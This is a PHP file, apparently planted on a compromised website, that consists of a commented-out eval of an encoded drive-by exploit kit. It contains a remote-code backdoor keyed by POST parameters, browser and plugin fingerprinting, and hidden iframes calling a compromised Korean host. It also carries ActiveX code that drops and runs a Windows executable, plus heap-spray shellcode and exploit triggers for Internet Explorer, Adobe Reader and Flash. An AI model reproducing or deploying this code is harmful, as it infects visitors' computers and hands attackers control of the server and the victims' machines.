<?php  //eval(base64_decode('error_reporting(E_ALL);srand((double)microtime()*1000000);$_R=&$_SERVER;$vrs=array();define('TT',time());define('_K','SvknoZazsBggQLyCFXgUWVZHysMkOuCe');define('_H','no1ski.co.kr/editor_n/uploaded/editor.php');define('ALF','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789');$OO='';function h(){exit;}function rstr($a=3,$b=5){global$vrs;$s=ALF;$i=strlen($s)-1;$r='';for($j=0;$j<rand($a,$b);$j++)$r.=$s[rand(0,$i)];if(($r[0]>='0')&&($r[0]<='9'))$r[0]=chr(rand(97,122));if(isset($vrs[$r]))$r=rstr($a,$b);$vrs[$r]=1;return$r;}function getBr($u){$b=0;if(stristr($u,'win')&&!strstr($u,'NT 6')&&(strstr($u,'SV1')||strstr($u,($s='Windows ').'NT')||strstr($u,$s.'XP')||strstr($u,$s.'200'))){$b=3;if(!strstr($u,'Opera')&&($k=strpos($u,'MSIE')))if(($s=intval(substr($u,$k+5,1)))<7)$b=1;elseif($s==7)$b=2;}return$b;}function ch($a){global$_S;return intval($_S['xp'][$a]);}function dc($a){global$_S;if($s=intval($_S['xp'][$a]))$_S['xp'][$a]=($s-1).'';if(intval($_S['xs'][$a])){$_S['xs'][$a]='0';putS(0,$a);}}function cht($a){global$_S;if($a&&($_S['lt']<(TT-$a)))h();$_S['lt']=TT;}function putF($f,$d){if($f=fopen(_D."/$f.dat",'ab')){$k=1500;while(!flock($f,LOCK_EX+LOCK_NB)&&$k)usleep($k--);if(!$k)return fclose($f);fwrite($f,$d);fflush($f);flock($f,LOCK_UN);fclose($f);}}function putS($t,$e){global$_S;putF('r',chr($_S['cc']).chr((($t&1)<<7)+(($e&7)<<4)+($_S['br']&7)));}function gf($f){return$r=_D."/$f.dat";}function decr($fn){$k=_K;$r='';if($f=fopen($fn,'rb')){while($s=fread($f,32))for($i=0;$i<strlen($s);$i++)$r.=chr(ord($s[$i])^ord($k[$i]));fclose($f);}return$r;}function b64($s){global$k;$r='';$i=0;$l=strlen($s);do{$c1=ord($s[$i++]);$e1=$c1>>2;if($i==$l){$e2=(($c1&3)<<4);$e3=$e4=64;}else{$c2=ord($s[$i++]);$e2=(($c1&3)<<4)|($c2>>4);if($i==$l){$e4=64;$e3=(($c2&15)<<2);}else{$c3=ord($s[$i++]);$e3=(($c2&15)<<2)|($c3>>6);$e4=$c3&63;}}$r.=$k[$e1].$k[$e2].$k[$e3].$k[$e4];}while($i<$l);return$r;}function v(){if(rand(0,1))return 'var ';return '';}function enc($s){global$OO;$OO.="\r\n//</script>\r\n";$a1=rstr();$a2=rstr();$a3=rstr();$sss=strlen($s);$s=preg_replace('#\s*\r?\n\s*#ms','',str_replace("\\\n","\n",str_replace("\r",'',preg_replace('#^//(.*)$#m','',$s))));$x='ABCDEFGHIJKLMNOPQRSTUVWXYZghijklmnopqrstuvwxyz<>`~_:';$cc=strlen($x)-1;$c='';for($i=0;$i<rand(3,5);$i++)if(!strstr($c,$z=$x[rand(0,$cc)]))$c.=$z;$cc=strlen($c)-1;$x=ALF.'()+ .,';$r='';for($i=0;$i<strlen($s);$i++)if(!strstr($x,$z=$s[$i])||strstr($c,$z)||!rand(0,3))$r.=$c[rand(0,$cc)].bin2hex($z);else$r.=$z;$s0=rstr();$s1=rstr();$s2=rstr();$s3=rstr();$s4=rstr();$z="$s2=9;if(($s4=unescape)||window)$s2='';$s1=$s4($s2.toString()+'%');";$z.="\r\n".v()."$s0='$r';\r\n$s3=$s0.replace(/[$c]/g,$s1);eval($s4($s3));\r\n";die("// <script>\r\n$z$OO");}function ue($s){$out='';$res=strtoupper(bin2hex($s));$g=round(strlen($res)/4);if($g!=(strlen($res)/4))$res.="00";for($i=0;$i<strlen($res);$i+=4)$out.="%u".substr($res,$i+2,2).substr($res,$i,2);return$out;}function gC($i){$of=$r=0;if($fh=fopen(_D.'/g.dat','rb'))while($i){$of=$of*6;if($i&0x80000000)$of+=3;fseek($fh,$of,SEEK_SET);$b=fread($fh,3);if(($of=ord($b[1])+(ord($b[2])<<8))==0xFFFF){$r=ord($b[0]);break;}$of=ord($b[0])+($of<<8);$i=($i<<1);}fclose($fh);return$r;}function meh(){}set_error_handler('meh');function mdir($s){if(!is_dir($s))mkdir($s);return$s;}function gif($s=2){global$_url;return'document.write(\'<iframe src="'.$_url.$s.'></iframe>\');';}define('_D','./s');if(isset($_POST['e'])&&isset($_POST['k'])&&($_POST['k']===_K))eval(base64_decode($_POST['e']));$IP=ip2long($i=$_R['REMOTE_ADDR']);if(!isset($_GET['id']))$ID=0;else$ID=intval($_GET['id']);if(!isset($_GET['s']))$ST=0;else$ST=$_GET['s'];session_save_path(mdir(_D.'/'.$i[0]));session_id($_COOKIE[session_name()]=$IP);ini_set('session.gc_maxlifetime',86400);session_start();$ua=isset($_R[$s='HTTP_USER_AGENT'])?$_R[$s]:'';$_S=&$_SESSION;if(!isset($_S['tm'])||($_S['tm']<(TT-86400))){if($ST||$ID)h();$gs=array('en','fr','de','it','es');if(isset($_R[$s='HTTP_REFERER'])){if(!preg_match('#^https?://(www\.)?([^\./]+)\.([^/]+)#',$_R[$s],$a)||in_array($a[2],array('10','127','1')))h();if(filesize(_D.'/h.dat')<1048576)putF('h',$_R[$s]."\n");}$XP=array('000000','222440','202442','202440');$zz=$BR=getBr($ua);$CC=gC($IP);$_S=array('tm'=>TT,'ip'=>$IP,'br'=>$BR,'cc'=>$CC,'id'=>$ST=rstr(7,9),'xp'=>$XP[$zz],'lt'=>TT,'xs'=>'111111');putS(1,0);}if(isset($_GET['t'])&&($ID==11))putF($_GET['t'][0],chr($_S['cc']));if(!ch(0))h();if(!$ID){if(($ST!=$_S['id'])||!intval(substr($_S['xp'],1)))h();cht(0);$_url='http://'._H.'?s='.$_S['id'].'&id=';session_write_close();$sc=rstr();header('Content-Type: application/javascript');$SS='document.write("<div style=\"position:absolute; left:-1000px; top:-1000px;\">");function i73(a){document.write("<iframe src=\"'.$_url.'"+a+"\"></iframe>");}'.$sc.'=0;';if(ch(1)&&file_exists($fn=gf('e'))){$s=ALF.'+/=';$k=array();for($i=0;$i<strlen($s);$i++)$k[]=$s[$i];shuffle($k);$k=join('',$k);$OO='function ttt(){return "'.b64(decr($fn)).'"}';$SS.=str_replace('%%%',$k,base64_decode('ZnVuY3Rpb24gYjYodCl7dmFyIGMxLGMyLGMzLGUxLGUyLGUzLGU0LGo9MCxkPSIiLGs9IiUlJSI7CiAgZG97ZTE9ay5pbmRleE9mKHQuY2hhckF0KGorKykpO2UyPWsuaW5kZXhPZih0LmNoYXJBdChqKyspKTsKICBlMz1rLmluZGV4T2YodC5jaGFyQXQoaisrKSk7ZTQ9ay5pbmRleE9mKHQuY2hhckF0KGorKykpO2MxPShlMTw8Mil8KGUyPj40KTsKICBjMj0oKGUyJjE1KTw8NCl8KGUzPj4yKTtjMz0oKGUzJjMpPDw2KXxlNDsKICBkPWQrU3RyaW5nLmZyb21DaGFyQ29kZShjMSk7aWYoZTMhPTY0KWQ9ZCtTdHJpbmcuZnJvbUNoYXJDb2RlKGMyKTsKICBpZihlNCE9NjQpZD1kK1N0cmluZy5mcm9tQ2hhckNvZGUoYzMpO313aGlsZShqPHQubGVuZ3RoKTtyZXR1cm4gZDt9CmRvY3VtZW50LndyaXRlKCI8c2NyaXB0IGxhbmd1YWdlPVZCU2NyaXB0PlN1YiBzMShlLGZuLGR0KTpPbiBFcnJvciBSZXN1bWUgTmV4dDpzMT0wOiIrCidTZXQgaz1lLkNyZWF0ZVRleHRGaWxlKGZuLFRSVUUpOmlmIEVycj4wIHRoZW46RXhpdCBGdW5jdGlvbjpFbmQgaWY6JysKJ2I9IiI6Rm9yIGo9MSBUbyBMZW5CKGR0KTpiPWImQ2hyVyhBc2MoTWlkKGR0LGosMSkpKTpOZXh0OmsuV3JpdGUoYik6ay5DbG9zZTonKwoiaWYgRXJyPjAgdGhlbjpFeGl0IEZ1bmN0aW9uOkVuZCBpZjpzMT0xOkVuZCBTdWI8XC9zY3JpcHQ+Iik7CmZ1bmN0aW9uIGYxKGMsbyxuKXtpZihjKXJldHVybiBjO3ZhciByLGEsYixkLGYsZyxoO3I9bnVsbDsKYT0idHJ5e3I9by4iO2I9IkNyZWF0ZU9iamVjdChuIjtkPSIpfWNhdGNoKGUpeyI7Zj0iR2V0T2JqZWN0KCI7Zz0nLCIiJztoPWQrYTsKZXZhbChhK2IraCtiK2craCtiK2crZytoK2YrJyIiLG4nK2grZisnbicrZytoK2YrJ24nK2QrJ319fX19fScpO3JldHVybiByfQpmdW5jdGlvbiBmNChkLGMpe3RyeXtkW2QubGVuZ3RoXT1jO31jYXRjaChlKXt9fQpmdW5jdGlvbiBmMihvLHQsbixkKXtmb3IodmFyIGk9bi5sZW5ndGgtMTtpPj0wO2ktLSl7CmlmKG8pdHJ5e28uVHlwZT0yO28uTW9kZT0zO28uT3BlbigpO28uQ2hhcnNldD0nSVNPLTg4NTktMSc7by5Xcml0ZVRleHQoZCk7CiAgby5TYXZlVG9GaWxlKG5baV0sMik7by5DbG9zZSgpO3JldHVybiBuW2ldO31jYXRjaChlKXt9CmlmKHQmJndpbmRvdy5zMSYmczEodCxuW2ldLGQpKXJldHVybiBuW2ldO31yZXR1cm4gMDt9CmZ1bmN0aW9uIGYzKCl7dHJ5e3ZhciBhLGksbSx0LHYxLHYyLHYzLHY0LGQxLGQyLHIsZCx0LGYseCxzLGMsYixnLGgsaixrLG4scCxxO2E9bnVsbDsKdmFyIGk9IlNjcmlwdEVuZ2luZSIsYj0iVmVyc2lvbigpKyIsaj0iIjtldmFsKCJpZih3aW5kb3cuIitpKyIpaj1qKyIraSsiTWFqb3IiK2IraSsiTWlub3IiK2IraSsiQnVpbGQiK2IrImo7Iik7ICAgIAppZighanx8KGo+NTY4ODIwKSlyZXR1cm47aTczKDEpOwptPSdCRDk2QzU1Ni02NUEzLTExRDAtOTgzQS0wMEMwNEZDMjlFMyc7Zj0nLTAwMDAtMDAwMC1DMDAwLTAwMDAwMDAwMDA0Nic7CnZhciB0PW5ldyBBcnJheShtKycwJyxtKyc2JywnQUI5QkNFREQtRUM3RS00N0UxLTkzMjItRDRBMjEwNjE3MTE2JywKJzAwMDZGMDMzJytmLCcwMDA2RjAzQScrZiwnNmUzMjA3MGEtNzY2ZC00ZWU2LTg3OWMtZGMxZmE5MWQyZmMzJywKJzY0MTQ1MTJCLUI5NzgtNDUxRC1BMEQ4LUZDRkRGMzNFODMzQycsJzdGNUI3RjYzLUYwNkYtNDMzMS04QTI2LTMzOUUwM0MwQUUzRCcsCicwNjcyM0UwOS1GNEMyLTQzYzgtODM1OC0wOUZDRDFEQjA3NjYnLCc2MzlGNzI1Ri0xQjJELTQ4MzEtQTlGRC04NzQ4NDc2ODIwMTAnLAonQkEwMTg1OTktMURCMy00NGY5LTgzQjQtNDYxNDU0Qzg0QkY4JywnRDBDMDdENTYtN0M2OS00M0YxLUI0QTAtMjVGNUExMUZBQjE5JywKJ0U4Q0NDRERGLUNBMjgtNDk2Yi1CMDUwLTZDMDdDOTYyNDc2QicsYSk7CnYxPWE7djI9YTt2Mz1hO3Y0PWE7ZDE9YTtkMj1hO2k9MDtyPTA7CndoaWxlKHRbaV0mJighdjF8fCF2Mnx8IXYzfHwhdjQpKXsKICB0cnl7YT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJvYmplY3QiKTthLnNldEF0dHJpYnV0ZSgiY2xhc3NpZCIsImNsc2lkOiIrdFtpXSk7fQogIGNhdGNoKGUpe2E9ZDE7fWlmKGEpe3YxPWYxKHYxLGEsIkFET0RCLlN0cmVhbSIpO3YyPWYxKHYyLGEsIldTY3JpcHQuU2hlbGwiKTsKICB2ND1mMSh2NCxhLCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpO3YzPWYxKHYzLGEsIlNoZWxsLkFwcGxpY2F0aW9uIik7fWkrKzt9CmlmKCh2MXx8djQpKXt2YXIgZD1iNih0dHQoKSk7CiAgcz0nYzonO209MDtiPSJQcm9ncmFtIjtnPSJcXFVuaW5zdGFsbC5leGUiO2g9IlxcQXV0b3N0YXJ0IitnO2o9IlN0YXJ0IE1lbnVcXCIrYjtxPSJTdGFydHVwIjsKICBpZih2Mil0cnl7Zj12Mi5FbnZpcm9ubWVudCgiUFJPQ0VTUyIpO3M9ZignSE9NRURSSVZFJyk7bT1mKCJURU1QIik7aWYoIW0pbT1mKCJUTVAiKX1jYXRjaChlKXtzPSdjOic7bT0wfQogIGs9IlxcQWxsIFVzZXJzXFwiO2M9cysiXFxEb2N1bWVudHMgYW5kIFNldHRpbmdzIitrO249IlN0YXJ0IjtwPSJNZW51ICI7eD0iSW5pY2lhciI7CiAgZDE9bmV3IEFycmF5KGMrIk1lbnUgSW5pY2lvXFwiK2IrImFzXFxJbmljaW8iK2csYysiTWVudWVuIFN0YXJ0XFwiK2IrIm1lclxcIituK2csCiAgICAgYytwK24rIlxcIitiKyJtYSdzXFxPcHN0YXJ0ZW4iK2csYytwK24rIlxcIitiKyJ5IitoLGMraisibGFyXFxCQVNMQU5HSUMiK2csCiAgICAgYytwKyJBdnZpb1xcIitiKyJtaVxcRXNlY3V6aW9uZSBhdXRvbWF0aWNhIitnLGMrbisiLW1lbnlcXCIrYisibWVyXFxPcHBzdGFydCIrZywKICAgICBjK24rIi1tZW55blxcIitiK2gscysiXFxEb2t1bWVudGUgdW5kIEVpbnN0ZWxsdW5nZW4iK2srbisibWVudVxcIitiKyJtZSIraCwKICAgICBjK3AreCsiXFwiK2IrImFzXFwiK3grZyxjK2orInNcXCIrcStnKTtuPSJpZXhwbG9yZS5leGUiO2s9Ii4uXFwiO2g9aytrO3A9IlxcIituOwogIGlmKHYyKXtmNChkMSx2Mi5TcGVjaWFsRm9sZGVycyhxKStnKTtmNChkMSx2Mi5TcGVjaWFsRm9sZGVycygiQWxsVXNlcnMiK3EpK2cpfQogIGQyPW5ldyBBcnJheShzKyJcXFJFQ1lDTEVSIitwLGgraCtuLGsraCtuLGgrbixrK24sbixzK3ApO249MTsKICBpZihtKWY0KGQyLG0rcCk7aWYodjQpZjQoZDIsdjQuR2V0U3BlY2lhbEZvbGRlcigyKStwKTsKICBmPWYyKHYxLHY0LGQyLGQpO2lmKCFmKXtmPWYyKHYxLHY0LGQxLGQpO249MDt9CiAgaWYoZil7aWYodjMpdHJ5e3I9MTt2My5TaGVsbEV4ZWN1dGUoZil9Y2F0Y2goZSl7cj0wfQogICAgaWYoIXImJnYyKXRyeXtyPTE7djIuUnVuKGYsMSk7fWNhdGNoKGUpe3RyeXt2Mi5FeGVjKGYpfWNhdGNoKGUpe3I9MH19CiAgICBpZihyKWk3Myg5KTtlbHNle2lmKG4pZj1mMih2MSx2NCxkMSxkKTsKICAgICAgZG9jdW1lbnQud3JpdGUoIjxvYmplY3QgY2xhc3NpZD0nY2xzaWQ6NTI3MTk2YTQtYjFhMy00NjQ3LTkzMWQtMzdiYTVhZjIzMDM3JyBjb2RlYmFzZT0nIitmKyInPjwvb2JqZWN0PiIpO30KICB9Cn19Y2F0Y2goZSl7fXJldHVybiByO31mMygpOw=='));}if(intval(substr($_S['xp'],4)))$SS.='var scode="%u3190%u99C0%u0364%u3040%u408B%u8B0C%u1C70%u8BAD%u0868%u78E8%u0000%u8B00%u3C45%u8B53%u0554%u5678%uEA01%uC983%u52FF%u728B%u0120%u41EE%u31AD%u99DB%uCBC1%u010D%u40D3%u0299%u0554%u75FF%u39F3%u75FB%u5EEA%u5E8B%u0124%u66EB%u0C8B%u8B4B%u1C5E%uEB01%u048B%u018B%u5EE8%uFF5B%u50E0%u49BF%u0FED%uFF7E%u5ED3%u5056%u5452%u5656%uBF50%u4B8B%u5FE3%uD3FF%u0159%u85CE%u58C0%u02E3%uE975%u5058%uC629%u948D%u2036%uA1D5%u0161%u3054%u83FC%u04EE%uF075%u31C3%uB6F6%u5B30%u406A%uC152%u04E2%u5652%u54BF%uAFCA%uFF91%u50D3%u0CE8%u0000%u7700%u6E69%u6E69%u7465%u642E%u6C6C%uBF00%u4E8E%uEC0E%uD3FF%u5695%u5656%u5656%u29BF%uE844%uFF57%u56D3%u0068%u0001%u5684%uE856%uFF83%uFFFF";function ek13(){return true;}window.onerror=ek13;';$s=rstr();if(intval(substr($_S['xp'],2)))$SS.='function n73(a){var k,s,i;if(navigator.mimeTypes.length&&(k=navigator.plugins))for(i=0;i<k.length;i++){s=k[i].name;if(s.indexOf(a)>=0)return k[i];}return 0;}';if(ch(2))$SS.=$s.'=0;try{'.$s.'=new ActiveXObject("AcroPDF.PDF");}catch(e){}if(!'.$s.')try{'.$s.'=new ActiveXObject("PDF.PdfCtrl");}catch(e){}if('.$s.'){var lv=(('.$s.'.GetVersions().split(","))[4].split("="))[1].replace(/\./g,"");'.$s.'=(lv<900)&&(lv!=813);}else '.$s.'=n73("Adobe A")||n73("Adobe P");if('.$s.')i73(2);';if(ch(3)||ch(4))$SS.=$sc.'=0;'.$s.'=0;function s73(a){if(a[0]==9){'.$s.'=a[2]<124;'.$sc.'=(a[2]>16)&&(a[2]<246);}else if(a[0]==10)'.$sc.'=a[2]<23;'.$sc.'='.$sc.'&&(navigator.userAgent.toLowerCase().indexOf("safari")==-1);}if((x=n73("Flash"))&&(x=x.description))s73(x.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));else try{s73((new ActiveXObject("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version").split(" ")[1].split(","));}catch(e){}';if(ch(3))$SS.='if('.$s.')i73(3);';if($c4=ch(4))if(ch(5)&&($c4&1))$SS.=$sc.'=0;';else$SS.='if('.$sc.'){var m=new Array(),m1=unescape("%u0808%u0808"),s=unescape(scode+"'.ue($_url."12\x00").'");while(m1.length<=32768)m1+=m1;m1=m1.substring(0,32768-s.length);for(var i=0;i<1536;i++)m[i]=m1+s;i73("4&z="+('.$s.'+0));}';if(ch(5))$SS.='if(!'.$sc.'&&document.all){i73(5);var scode2=unescape(scode+"'.ue($_url."13\x00").'");var o84r=new Array();var m79k=0x100000-(scode2.length*2+0x01020);var d15t=unescape("%u0C0C%u0C0C");while(d15t.length<m79k/2)d15t+=d15t;var f20b=d15t.substring(0,m79k/2);delete d15t;for(v95l=0;v95l<0xC0;v95l++)o84r[v95l]=f20b+scode2;CollectGarbage();var m77k=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");var e89f=new Array();for(var e45n=0;e45n<1000;e45n++)e89f.push(document.createElement("img"));r27n=document.createElement("tbody");r27n.click;var o88j=r27n.cloneNode();r27n.clearAttributes();r27n=null;CollectGarbage();for(var e45n=0;e45n<e89f.length;e45n++)e89f[e45n].src=m77k;o88j.click;}';enc($SS.'document.write("</div>");');}else{$e=$ID&7;if(!$e||($e>5))h();$e24=($e23=($e==2)||($e==3))||($e==4);if($ID&8){if(!$e23&&($ST!=$_S['id']))h();cht(600);if(ch(0)==2)putS(1,$e);$_S['xp']='100000';if($e==1)exit;$fn=gf('b');$at='octet-stream';}else{if($ST!=$_S['id'])h();cht(180);if(!ch($e))h();dc($e);if(!$e24)exit;$at='pdf';if($e==2)$fn=gf('p');else{$at='x-shockwave-flash';$fn=gf(($e==3)?'s':'x');if(isset($_GET['z'])&&$_GET['z'])sleep(3);}}session_write_close();if(!file_exists($fn))h();$sz=filesize($fn);$src=decr($fn);$s='Content-';header($s.'Length: '.$sz);header($s.'Type: application/'.$at);header($s.'Transfer-Encoding: binary');echo$src;}exit;'));?>